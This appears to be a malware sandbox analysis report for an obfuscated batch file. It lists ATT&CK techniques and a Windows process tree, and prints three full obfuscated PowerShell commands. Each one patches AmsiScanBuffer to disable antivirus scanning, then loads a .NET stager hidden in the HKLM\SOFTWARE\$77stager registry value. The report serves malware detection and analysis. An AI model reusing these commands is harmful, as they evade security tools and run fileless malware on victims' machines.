The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

3980 attrib.exe

pid	process
3980	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:332

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{ba24417b-58f7-4531-aa72-036281d963a6}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3780

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{728e861a-1361-42cd-aed6-a76c568eb0d0}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3792

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{56368cca-9eea-4bfa-a978-42e8b58c5cd2}
2⤵
PID:2816

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:516

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1104

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:3016

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OfjEyyqFKXGb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DtpvIrVmBALSHK,[Parameter(Position=1)][Type]$PRDRGWqkKb)$rvzetgfPfoL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'e'+'d'+''+[Char](68)+'e'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+'M'+'e'+[Char](109)+''+[Char](111)+'r'+'y'+'M'+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+'gat'+'e'+''+'T'+'y'+[Char](112)+''+[Char](101)+'',''+'C'+'l'+[Char](97)+'s'+'s'+','+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+',A'+'n'+'si'+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+','+'Au'+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$rvzetgfPfoL.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+'e'+'c'+'i'+''+[Char](97)+''+'l'+''+[Char](78)+'a'+[Char](109)+'e,H'+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$DtpvIrVmBALSHK).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+'i'+[Char](109)+'e'+','+''+[Char](77)+'a'+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$rvzetgfPfoL.DefineMethod(''+'I'+'n'+'v'+'ok'+[Char](101)+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+'Hi'+[Char](100)+''+[Char](101)+'B'+[Char](121)+'Si'+[Char](103)+''+[Char](44)+'N'+'e'+''+'w'+''+'S'+''+[Char](108)+''+'o'+''+[Char](116)+','+[Char](86)+'i'+'r'+'t'+[Char](117)+''+[Char](97)+''+'l'+'',$PRDRGWqkKb,$DtpvIrVmBALSHK).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+'t'+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+'a'+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $rvzetgfPfoL.CreateType();}$ilOFuNWHFSTBJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+'st'+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+'o'+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+'32'+[Char](46)+'Uns'+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+'a'+''+[Char](116)+'i'+'v'+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+'d'+''+[Char](115)+'');$AwlIYqVyFlopCs=$ilOFuNWHFSTBJ.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+'s',[Reflection.BindingFlags]('Pub'+[Char](108)+''+[Char](105)+''+'c'+''+','+'S'+'t'+'at'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JezuMJUuosuacWcryxm=OfjEyyqFKXGb @([String])([IntPtr]);$dfcDAsXdcZghHURbnTCjZG=OfjEyyqFKXGb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$OTMUWoghqnD=$ilOFuNWHFSTBJ.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+'M'+'o'+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+'an'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+'e'+'l'+''+[Char](51)+''+'2'+'.d'+[Char](108)+''+[Char](108)+'')));$GkLirFMyDGaWIF=$AwlIYqVyFlopCs.Invoke($Null,@([Object]$OTMUWoghqnD,[Object]('L'+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+'a'+[Char](114)+''+[Char](121)+'A')));$tnFVdSGNahlssJtlr=$AwlIYqVyFlopCs.Invoke($Null,@([Object]$OTMUWoghqnD,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+'a'+'l'+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$GcdKdYj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GkLirFMyDGaWIF,$JezuMJUuosuacWcryxm).Invoke(''+'a'+''+'m'+''+[Char](115)+'i.d'+[Char](108)+''+'l'+'');$bKTqMCsepMNpcISCk=$AwlIYqVyFlopCs.Invoke($Null,@([Object]$GcdKdYj,[Object](''+[Char](65)+'m'+'s'+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+'u'+''+'f'+'fe'+[Char](114)+'')));$VmJPBoByMh=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tnFVdSGNahlssJtlr,$dfcDAsXdcZghHURbnTCjZG).Invoke($bKTqMCsepMNpcISCk,[uint32]8,4,[ref]$VmJPBoByMh);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$bKTqMCsepMNpcISCk,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tnFVdSGNahlssJtlr,$dfcDAsXdcZghHURbnTCjZG).Invoke($bKTqMCsepMNpcISCk,[uint32]8,0x20,[ref]$VmJPBoByMh);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+'A'+'R'+'E').GetValue(''+'$'+''+'7'+'7'+[Char](115)+''+[Char](116)+'a'+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:UBCJyowzGMTB{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uuHLIjLgAKaoXB,[Parameter(Position=1)][Type]$oqattUSjHo)$KHrxeJjrYSL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'e'+[Char](100)+''+'D'+''+[Char](101)+'le'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+'y'+''+'M'+'o'+[Char](100)+'ul'+'e'+'',$False).DefineType(''+'M'+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+','+'S'+'e'+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+'s'+'i'+'C'+''+[Char](108)+'a'+'s'+''+'s'+''+[Char](44)+'Au'+[Char](116)+''+'o'+''+'C'+'l'+'a'+''+[Char](115)+'s',[MulticastDelegate]);$KHrxeJjrYSL.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+'e'+[Char](44)+''+'H'+'ide'+[Char](66)+''+[Char](121)+'S'+'i'+'g'+[Char](44)+'P'+[Char](117)+'b'+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$uuHLIjLgAKaoXB).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+','+'M'+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$KHrxeJjrYSL.DefineMethod(''+'I'+'n'+[Char](118)+'o'+[Char](107)+''+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+'H'+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+'g'+','+[Char](78)+''+'e'+''+[Char](119)+'Slo'+[Char](116)+''+','+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'ua'+[Char](108)+'',$oqattUSjHo,$uuHLIjLgAKaoXB).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'M'+'a'+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $KHrxeJjrYSL.CreateType();}$nvZgUoSETFjSq=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'te'+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+'c'+'ro'+'s'+''+'o'+'ft'+'.'+''+[Char](87)+''+'i'+''+'n'+''+[Char](51)+'2.'+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+'f'+''+[Char](101)+'N'+'a'+''+'t'+'i'+[Char](118)+'e'+[Char](77)+''+'e'+'t'+[Char](104)+'o'+'d'+''+'s'+'');$zhmsvrBayRXIFe=$nvZgUoSETFjSq.GetMethod(''+[Char](71)+'e'+[Char](116)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+''+'r'+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jNyXOMRzjCvXJCcpMLr=UBCJyowzGMTB @([String])([IntPtr]);$dwCMSbqQDqTUsEFFHDCNPZ=UBCJyowzGMTB @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gEaTTVhPRxo=$nvZgUoSETFjSq.GetMethod('G'+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+'u'+[Char](108)+'e'+'H'+''+'a'+''+[Char](110)+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+'n'+'e'+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+'l'+'l'+'')));$DumfyjAcAkhGDz=$zhmsvrBayRXIFe.Invoke($Null,@([Object]$gEaTTVhPRxo,[Object](''+'L'+''+'o'+''+[Char](97)+''+[Char](100)+'L'+'i'+''+[Char](98)+'ra'+[Char](114)+''+[Char](121)+''+'A'+'')));$gmqqFDNpifjXdcyHm=$zhmsvrBayRXIFe.Invoke($Null,@([Object]$gEaTTVhPRxo,[Object]('Vi'+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+'lPr'+'o'+'t'+[Char](101)+''+[Char](99)+''+'t'+'')));$NNYZSMq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DumfyjAcAkhGDz,$jNyXOMRzjCvXJCcpMLr).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$egdKOQCgqvYDLYMdN=$zhmsvrBayRXIFe.Invoke($Null,@([Object]$NNYZSMq,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+'a'+''+[Char](110)+'B'+'u'+''+'f'+''+'f'+'e'+'r'+'')));$vPtOJzeAGj=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gmqqFDNpifjXdcyHm,$dwCMSbqQDqTUsEFFHDCNPZ).Invoke($egdKOQCgqvYDLYMdN,[uint32]8,4,[ref]$vPtOJzeAGj);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$egdKOQCgqvYDLYMdN,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gmqqFDNpifjXdcyHm,$dwCMSbqQDqTUsEFFHDCNPZ).Invoke($egdKOQCgqvYDLYMdN,[uint32]8,0x20,[ref]$vPtOJzeAGj);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'RE').GetValue(''+'$'+''+[Char](55)+'7'+'s'+''+[Char](116)+''+'a'+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1084

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:1268

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:HHSMJrgrBUsB{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$etKhyLdmiIlcek,[Parameter(Position=1)][Type]$ILfRXPxWyh)$eKZuWwDwJuQ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+[Char](108)+'e'+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+'el'+[Char](101)+'ga'+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+'e'+''+'m'+''+'o'+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+'M'+''+'y'+''+[Char](68)+''+[Char](101)+''+'l'+'e'+'g'+''+'a'+''+[Char](116)+''+'e'+''+[Char](84)+'y'+[Char](112)+''+[Char](101)+'','C'+[Char](108)+'a'+'s'+'s'+[Char](44)+''+'P'+''+'u'+''+'b'+''+'l'+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+'ss'+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+'C'+'l'+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$eKZuWwDwJuQ.DefineConstructor(''+[Char](82)+'TS'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+'N'+[Char](97)+''+[Char](109)+'e'+','+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+'By'+[Char](83)+'i'+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$etKhyLdmiIlcek).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'t'+[Char](105)+''+'m'+'e,'+'M'+'an'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$eKZuWwDwJuQ.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+''+[Char](107)+'e',''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c'+','+''+[Char](72)+'i'+[Char](100)+''+'e'+''+'B'+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+','+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+'l'+'o'+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'',$ILfRXPxWyh,$etKhyLdmiIlcek).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+'i'+'m'+'e'+''+','+''+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $eKZuWwDwJuQ.CreateType();}$gMETTuZOZQGyp=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+'m'+''+'.'+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+'in'+[Char](51)+'2'+[Char](46)+''+'U'+'ns'+[Char](97)+'f'+[Char](101)+''+'N'+''+[Char](97)+'tiv'+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+'ho'+[Char](100)+'s');$VmZZLgIhqeAwBn=$gMETTuZOZQGyp.GetMethod(''+[Char](71)+''+'e'+''+'t'+'Pro'+[Char](99)+''+[Char](65)+''+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JyfhsfCDqaooAKqnQdl=HHSMJrgrBUsB @([String])([IntPtr]);$BPuTDQsokZeWlUxpfIpUsm=HHSMJrgrBUsB @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$AiWBJeWsppo=$gMETTuZOZQGyp.GetMethod(''+'G'+'et'+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+'a'+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+'el'+'3'+''+'2'+'.'+[Char](100)+''+'l'+''+'l'+'')));$COXhUirOPYzieK=$VmZZLgIhqeAwBn.Invoke($Null,@([Object]$AiWBJeWsppo,[Object](''+[Char](76)+''+'o'+'ad'+[Char](76)+'ib'+[Char](114)+''+[Char](97)+'r'+'y'+''+[Char](65)+'')));$svectFKYxNNHbhBaP=$VmZZLgIhqeAwBn.Invoke($Null,@([Object]$AiWBJeWsppo,[Object](''+'V'+'i'+[Char](114)+'t'+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+'t'+'e'+'ct')));$cPsItzT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($COXhUirOPYzieK,$JyfhsfCDqaooAKqnQdl).Invoke(''+[Char](97)+''+'m'+'si'+[Char](46)+''+[Char](100)+'l'+'l'+'');$MqPoTjWXrieqnBIPr=$VmZZLgIhqeAwBn.Invoke($Null,@([Object]$cPsItzT,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+'a'+'n'+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$lMQQIWNueJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($svectFKYxNNHbhBaP,$BPuTDQsokZeWlUxpfIpUsm).Invoke($MqPoTjWXrieqnBIPr,[uint32]8,4,[ref]$lMQQIWNueJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$MqPoTjWXrieqnBIPr,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($svectFKYxNNHbhBaP,$BPuTDQsokZeWlUxpfIpUsm).Invoke($MqPoTjWXrieqnBIPr,[uint32]8,0x20,[ref]$lMQQIWNueJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+'W'+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+'7'+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
PID:2368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1284

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2888

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1304

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1632

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1852

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1960

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2508

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2552

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:668

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3344

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3436

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fixer-obf (1).bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:5116

C:\Windows\system32\chcp.com
chcp.com 437
3⤵
PID:1784

C:\Windows\system32\findstr.exe
findstr /L /I set "C:\Users\Admin\AppData\Local\Temp\Fixer-obf (1).bat"
3⤵
PID:1516

C:\Windows\system32\findstr.exe
findstr /L /I goto "C:\Users\Admin\AppData\Local\Temp\Fixer-obf (1).bat"
3⤵
PID:3184

C:\Windows\system32\findstr.exe
findstr /L /I echo "C:\Users\Admin\AppData\Local\Temp\Fixer-obf (1).bat"
3⤵
PID:4528

C:\Windows\system32\findstr.exe
findstr /L /I pause "C:\Users\Admin\AppData\Local\Temp\Fixer-obf (1).bat"
3⤵
PID:1084

